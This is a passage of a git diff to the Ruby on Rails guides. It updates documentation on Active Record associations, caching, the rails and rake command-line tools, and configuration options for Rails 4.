* `build_association(attributes = {})` * `create_association(attributes = {})` +* `create_association!(attributes = {})` In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: @@ -726,6 +741,7 @@ customer customer= build_customer create_customer +create_customer! ``` NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. @@ -766,6 +782,10 @@ The `create_association` method returns a new object of the associated type. Thi customer_name: "John Doe") ``` +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `belongs_to` @@ -844,8 +864,12 @@ end Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` +If you set the `:dependent` option to: -If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects. +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. @@ -936,7 +960,7 @@ end ##### `includes` -You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby class LineItem < ActiveRecord::Base @@ -1002,12 +1026,13 @@ The `has_one` association creates a one-to-one match with another model. In data #### Methods Added by `has_one` -When you declare a `has_one` association, the declaring class automatically gains four methods related to the association: +When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` * `build_association(attributes = {})` * `create_association(attributes = {})` +* `create_association!(attributes = {})` In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: @@ -1024,6 +1049,7 @@ account account= build_account create_account +create_account! ``` NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. @@ -1062,6 +1088,10 @@ The `create_association` method returns a new object of the associated type. Thi @account = @supplier.create_account(terms: "Net 30") ``` +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_one` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: @@ -1114,6 +1144,12 @@ Controls what happens to the associated object when its owner is destroyed: * `:restrict_with_exception` causes an exception to be raised if there is an associated record * `:restrict_with_error` causes an error to be added to the owner if there is an associated object +It's necessary not to set or leave `:nullify` option for those associations +that have `NOT NULL` database constraints. If you don't set `dependent` to +destroy such associations you won't be able to change the associated object +because initial associated object foreign key will be set to unallowed `NULL` +value. + ##### `:foreign_key` By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: @@ -1257,7 +1293,7 @@ The `has_many` association creates a one-to-many relationship with another model #### Methods Added by `has_many` -When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` @@ -1274,6 +1310,7 @@ When you declare a `has_many` association, the declaring class automatically gai * `collection.exists?(...)` * `collection.build(attributes = {}, ...)` * `collection.create(attributes = {})` +* `collection.create!(attributes = {})` In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: @@ -1301,6 +1338,7 @@ orders.where(...) orders.exists?(...) orders.build(attributes = {}, ...) orders.create(attributes = {}) +orders.create!(attributes = {}) ``` ##### `collection(force_reload = false)` @@ -1416,6 +1454,10 @@ The `collection.create` method returns a new object of the associated type. This order_number: "A12345") ``` +##### `collection.create!(attributes = {})` + +Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_many` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: @@ -1500,6 +1542,20 @@ end By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. +Let's say that `users` table has `id` as the primary_key but it also has +`guid` column. And the requirement is that `todos` table should hold +`guid` column value and not `id` value. This can be achieved like this + +```ruby +class User < ActiveRecord::Base + has_many :todos, primary_key: :guid +end +``` + +Now if we execute `@user.todos.create` then `@todo` record will have +`user_id` value as the `guid` value of `@user`. + + ##### `:source` The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. @@ -1667,7 +1723,7 @@ person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">] Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>] ``` -In the above case there are two readings and `person.posts` brings out both of +In the above case there are two readings and `person.posts` brings out both of them even though these records are pointing to the same post. Now let's set `distinct`: @@ -1686,24 +1742,24 @@ person.posts.inspect # => [#<Post id: 7, name: "a1">] Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>] ``` -In the above case there are still two readings. However `person.posts` shows +In the above case there are still two readings. However `person.posts` shows only one post because the collection loads only unique records. -If you want to make sure that, upon insertion, all of the records in the -persisted association are distinct (so that you can be sure that when you -inspect the association that you will never find duplicate records), you should -add a unique index on the table itself. For example, if you have a table named -``person_posts`` and you want to make sure all the posts are unique, you could +If you want to make sure that, upon insertion, all of the records in the +persisted association are distinct (so that you can be sure that when you +inspect the association that you will never find duplicate records), you should +add a unique index on the table itself. For example, if you have a table named +`person_posts` and you want to make sure all the posts are unique, you could add the following in a migration: ```ruby -add_index :person_posts, :post, :unique => true +add_index :person_posts, :post, unique: true ``` -Note that checking for uniqueness using something like ``include?`` is subject -to race conditions. Do not attempt to use ``include?`` to enforce distinctness -in an association. For instance, using the post example from above, the -following code would be racy because multiple users could be attempting this +Note that checking for uniqueness using something like `include?` is subject +to race conditions. Do not attempt to use `include?` to enforce distinctness +in an association. For instance, using the post example from above, the +following code would be racy because multiple users could be attempting this at the same time: ```ruby @@ -1726,7 +1782,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi #### Methods Added by `has_and_belongs_to_many` -When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` @@ -1743,6 +1799,7 @@ When you declare a `has_and_belongs_to_many` association, the declaring class au * `collection.exists?(...)` * `collection.build(attributes = {})` * `collection.create(attributes = {})` +* `collection.create!(attributes = {})` In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: @@ -1770,6 +1827,7 @@ assemblies.where(...) assemblies.exists?(...) assemblies.build(attributes = {}, ...) assemblies.create(attributes = {}) +assemblies.create!(attributes = {}) ``` ##### Additional Column Methods @@ -1889,14 +1947,18 @@ The `collection.create` method returns a new object of the associated type. This @assembly = @part.assemblies.create({assembly_name: "Transmission housing"}) ``` +##### `collection.create!(attributes = {})` + +Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_and_belongs_to_many` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: ```ruby class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, uniq: true, - read_only: true + has_and_belongs_to_many :assemblies, autosave: true, + readonly: true end ``` @@ -1908,6 +1970,7 @@ The `has_and_belongs_to_many` association supports these options: * `:foreign_key` * `:join_table` * `:validate` +* `:readonly` ##### `:association_foreign_key` @@ -1917,7 +1980,7 @@ TIP: The `:foreign_key` and `:association_foreign_key` options are useful when s ```ruby class User < ActiveRecord::Base - has_and_belongs_to_many :friends, + has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", association_foreign_key: "other_user_id" @@ -2122,7 +2185,7 @@ You're not limited to the functionality that Rails automatically builds into ass class Customer < ActiveRecord::Base has_many :orders do def find_by_order_prefix(order_number) - find_by_region_id(order_number[0..2]) + find_by(region_id: order_number[0..2]) end end end diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md index abab3dd983..0d45e5fb28 100644 --- a/guides/source/caching_with_rails.md +++ b/guides/source/caching_with_rails.md @@ -5,8 +5,8 @@ This guide will teach you what you need to know about avoiding that expensive ro After reading this guide, you will know: -* Page, action, and fragment caching. -* Sweepers. +* Page and action caching (moved to separate gems as of Rails 4). +* Fragment caching. * Alternative cache stores. * Conditional GET support. @@ -30,13 +30,13 @@ config.action_controller.perform_caching = true Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching) +INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Action Caching Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. -INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching) +INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Fragment Caching @@ -104,6 +104,15 @@ This method generates a cache key that depends on all products and can be used i All available products: <% end %> ``` + +If you want to cache a fragment under certain condition you can use `cache_if` or `cache_unless` + +```erb +<% cache_if (condition, cache_key_for_products) do %> + All available products: +<% end %> +``` + You can also use an Active Record model as the cache key: ```erb @@ -180,7 +189,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. -* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. @@ -216,7 +225,7 @@ This is the default cache store implementation. ### ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. @@ -236,7 +245,7 @@ config.cache_store = :ehcache_store When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache). -In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: +In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: | Property | Argument Type | Description | | --------------------------- | ------------------- | ----------------------------------------------------------- | @@ -292,7 +301,7 @@ Conditional GET support Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. -They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status. +They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status. It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: @@ -318,7 +327,7 @@ class ProductsController < ApplicationController end ``` -Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: +Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: ```ruby class ProductsController < ApplicationController @@ -329,7 +338,7 @@ class ProductsController < ApplicationController end ``` -If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when: +If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when: ```ruby class ProductsController < ApplicationController diff --git a/guides/source/command_line.md b/guides/source/command_line.md index 4711186522..3b80faec7f 100644 --- a/guides/source/command_line.md +++ b/guides/source/command_line.md @@ -1,8 +1,6 @@ The Rails Command Line ====================== -Rails comes with every command line tool you'll need to - After reading this guide, you will know: * How to create a Rails application. @@ -27,6 +25,8 @@ There are a few commands that are absolutely critical to your everyday usage of * `rails dbconsole` * `rails new app_name` +All commands can run with ```-h or --help``` to list more information. + Let's create a simple Rails application to step through each of these commands in context. ### `rails new` @@ -56,20 +56,18 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends). - With no further work, `rails server` will run our new shiny Rails app: ```bash $ cd commandsapp $ rails server => Booting WEBrick -=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000 +=> Rails 4.0.0 application starting in development on http://0.0.0.0:3000 => Call with -d to detach => Ctrl-C to shutdown server -[2012-05-28 00:39:41] INFO WEBrick 1.3.1 -[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0] -[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 +[2013-08-07 02:00:01] INFO WEBrick 1.3.1 +[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0] +[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 ``` With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. @@ -201,7 +199,7 @@ Usage: ... -ActiveRecord options: +Active Record options: [--migration] # Indicates when to generate migration # Default: true @@ -220,7 +218,7 @@ We will set up a simple resource called "HighScore" that will keep track of our ```bash $ rails generate scaffold HighScore game:string score:integer invoke active_record - create db/migrate/20120528060026_create_high_scores.rb + create db/migrate/20130717151933_create_high_scores.rb create app/models/high_score.rb invoke test_unit create test/models/high_score_test.rb @@ -242,18 +240,21 @@ $ rails generate scaffold HighScore game:string score:integer create app/helpers/high_scores_helper.rb invoke test_unit create test/helpers/high_scores_helper_test.rb + invoke jbuilder + create app/views/high_scores/index.json.jbuilder + create app/views/high_scores/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/high_scores.js.coffee invoke scss create app/assets/stylesheets/high_scores.css.scss invoke scss - create app/assets/stylesheets/scaffolds.css.scss + identical app/assets/stylesheets/scaffolds.css.scss ``` The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. -The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. ```bash $ rake db:migrate @@ -289,7 +290,7 @@ If you wish to test out some code without changing any data, you can do that by ```bash $ rails console --sandbox -Loading development environment in sandbox (Rails 3.2.3) +Loading development environment in sandbox (Rails 4.0.0) Any modifications you make will be rolled back on exit irb(main):001:0> ``` @@ -348,6 +349,9 @@ Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'mak You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need. +To get the full backtrace for running rake task you can pass the option +```--trace``` to command line, for example ```rake db:create --trace```. + ```bash $ rake --tasks rake about # List versions of all Rails frameworks and the environment @@ -361,6 +365,7 @@ rake middleware # Prints out your Rack middleware stack rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear) rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids ``` +INFO: You can also use ```rake -T``` to get the list of tasks. ### `about` @@ -372,13 +377,14 @@ About your application's environment Ruby version 1.9.3 (x86_64-linux) RubyGems version 1.3.6 Rack version 1.3 -Rails version 4.0.0.beta +Rails version 4.1.0 JavaScript Runtime Node.js (V8) -Active Record version 4.0.0.beta -Action Pack version 4.0.0.beta -Action Mailer version 4.0.0.beta -Active Support version 4.0.0.beta -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag +Active Record version 4.1.0 +Action Pack version 4.1.0 +Action View version 4.1.0 +Action Mailer version 4.1.0 +Active Support version 4.1.0 +Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 @@ -445,12 +451,12 @@ NOTE. When using specific annotations and custom annotations, the annotation nam By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. ```bash -$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor' +$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor' $ rake notes (in /home/foobar/commandsapp) app/models/user.rb: * [ 35] [FIXME] User should have a subscription at this point -rspec/model/user_spec.rb: +spec/models/user_spec.rb: * [122] [TODO] Verify the user that has a subscription works ``` @@ -462,18 +468,19 @@ rspec/model/user_spec.rb: INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) -Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. +Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. ### `tmp` The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. -The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory: +The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory: * `rake tmp:cache:clear` clears `tmp/cache`. * `rake tmp:sessions:clear` clears `tmp/sessions`. * `rake tmp:sockets:clear` clears `tmp/sockets`. * `rake tmp:clear` clears all the three: cache, sessions and sockets. +* `rake tmp:create` creates tmp directories for sessions, cache, sockets, and pids. ### Miscellaneous @@ -483,7 +490,9 @@ The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory: ### Custom Rake Tasks -Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`. +Custom rake tasks have a `.rake` extension and are placed in +`Rails.root/lib/tasks`. You can create these custom rake tasks with the +`bin/rails generate task` command. ```ruby desc "I am short, but comprehensive description for my cool task" diff --git a/guides/source/configuring.md b/guides/source/configuring.md index 9ea493325d..272850d4c5 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -30,10 +30,10 @@ Configuring Rails Components In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components. -For example, the default `config/application.rb` file includes this setting: +For example, the `config/application.rb` file includes this setting: ```ruby -config.filter_parameters += [:password] +config.autoload_paths += %W(#{config.root}/extras) ``` This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: @@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. @@ -97,13 +100,17 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API. -* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. +* `config.filter_parameters` used for filtering out the parameters that +you don't want shown in the logs, such as passwords or credit card +numbers. New applications filter out passwords by adding the following `config.filter_parameters+=[:password]` in `config/initializers/filter_parameter_logging.rb`. * `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware. +* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`. + * `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`. -* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications. +* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. * `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode. @@ -113,7 +120,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`. -* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. +* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. * `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: @@ -125,15 +132,14 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. -* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`). - -* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments. - ### Configuring Assets -* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`. +* `config.assets.enabled` a flag that controls whether the asset +pipeline is enabled. It is set to true by default. + +*`config.assets.raise_runtime_errors`* Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`. -* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`. +* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`. * `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. @@ -193,7 +199,7 @@ Every Rails application comes with a standard set of middleware which it uses in * `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`. * `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. * `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. -* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs. +* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs. * `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless. * `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. * `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options. @@ -240,8 +246,14 @@ config.middleware.delete "Rack::MethodOverride" ### Configuring i18n +All these configuration options are delegated to the `I18n` library. + +* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. + * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. +* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. + * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. ### Configuring Active Record @@ -258,6 +270,8 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. +* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. + * `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. * `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails. @@ -268,7 +282,15 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default. -* +config.active_record.cache_timestamp_format+ controls the format of the timestamp value in the cache key. Default is +:number+. +* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`. + +* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model 